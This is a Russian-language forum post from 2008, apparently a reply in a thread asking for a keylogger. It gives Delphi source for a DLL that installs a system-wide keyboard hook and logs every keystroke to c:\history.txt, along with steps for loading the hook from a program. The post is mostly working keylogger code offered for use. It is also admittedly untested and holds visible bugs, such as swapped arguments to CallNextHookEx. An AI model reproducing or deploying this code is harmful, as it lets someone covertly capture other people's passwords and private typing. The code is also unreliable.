Тема: Key Logger
Показать сообщение отдельно
  #8  
Старый 24.08.2008, 12:02
Drozh Drozh вне форума
Активный
 
Регистрация: 12.06.2008
Сообщения: 313
Репутация: 40
По умолчанию

С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь
Код:
library KeyLogger;

uses
  Windows, Messages;

var
 Text: String = '';
 SysHook: HHook = 0;

function KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
 KeyName: array [0..16] of Char;
 nScan: Integer;
 AFile: TextFile;
begin // получили код
  if (nCode = HC_ACTION) and // и клавиша отпущена
     (((lParam shr 16) and KF_UP) = 0) then
  begin
   GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши
   Text := Text + KeyName; // добавляем к тексту

    if Length(Text) >= 256 then // пишем в файл
    begin
     AssignFile(AFile, 'c:\history.txt');
     Append(AFile);
     Writeln(AFile, Text);
     CloseFile(AFile);
     Text := '';
    end;
  end;

 CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка
end;

procedure RunStopHook(const State: Boolean) export; stdcall;
begin
 if State then
  SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0)
 else
 begin
  UnhookWindowsHookEx(SysHook);
  SysHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

А в програме после строчек
Код:
var
  Form1: TForm1;

пишешь
  procedure RunStopHook(State: Boolean) stdcall;
   external 'KeyLogger.dll';

Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)

Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл
Ответить с цитированием